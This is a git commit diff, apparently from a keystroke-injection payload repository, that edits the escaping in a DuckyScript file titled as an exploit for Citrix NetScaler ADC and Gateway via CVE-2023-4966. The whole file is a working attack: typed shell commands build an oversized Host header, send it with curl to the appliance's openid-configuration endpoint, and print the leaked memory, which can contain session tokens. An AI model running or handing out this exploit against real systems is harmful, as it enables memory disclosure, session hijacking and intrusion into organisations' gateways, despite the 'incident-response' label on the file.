Update lin-payload.txt

pull/671/head
Aleff 2024-06-09 12:05:03 +02:00 committed by GitHub
parent 9892715933
commit 40e28fac9b
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 8 additions and 8 deletions

View File

@ -3,7 +3,7 @@
* REM # Title : Exploit Citrix NetScaler ADC and Gateway through CVE-2023-4966 #
* REM # Author : Aleff #
* REM # Version : 1.0 #
* REM # Category : incident-response #
* REM # Category : incident-response #
* REM # Target : Citrix NetScaler ADV; NetScaler Gateway #
* REM # #
* REM ##################################################################################
@ -20,28 +20,28 @@ QUACK DELAY 1000
QUACK STRING header_value=$(yes a | head -n 24576 | tr -d '\n')
QUACK ENTER
QUACK DELAY 500
QUACK STRING headers="-H 'Host:$header_value'"
QUACK STRING headers=\"-H 'Host:$header_value'\"
QUACK ENTER
QUACK DELAY 500
QUACK STRING response=$(curl -s -k -H "$headers" "https://$HOSTNAME/oauth/idp/.well-known/openid-configuration" --connect-timeout 10)
QUACK STRING response=$(curl -s -k -H \"$headers\" \"https://$HOSTNAME/oauth/idp/.well-known/openid-configuration\" --connect-timeout 10)
QUACK ENTER
QUACK DELAY 500
QUACK STRING if [ $? -eq 0 ] && [ "$(echo $response | cut -c 1-3)" == "200" ]; then
QUACK STRING if [ $? -eq 0 ] && [ \"$(echo $response | cut -c 1-3)\" == \"200\" ]; then
QUACK ENTER
QUACK DELAY 500
QUACK STRING echo "--- Dumped memory ---"
QUACK STRING echo \"--- Dumped memory ---\"
QUACK ENTER
QUACK DELAY 500
QUACK STRING echo "$response" | cut -c 131051-
QUACK STRING echo \"$response\" | cut -c 131051-
QUACK ENTER
QUACK DELAY 500
QUACK STRING echo "--- End ---"
QUACK STRING echo \"--- End ---\"
QUACK ENTER
QUACK DELAY 500
QUACK STRING else
QUACK ENTER
QUACK DELAY 500
QUACK STRING echo "Could not dump memory"
QUACK STRING echo \"Could not dump memory\"
QUACK ENTER
QUACK DELAY 500
QUACK STRING fi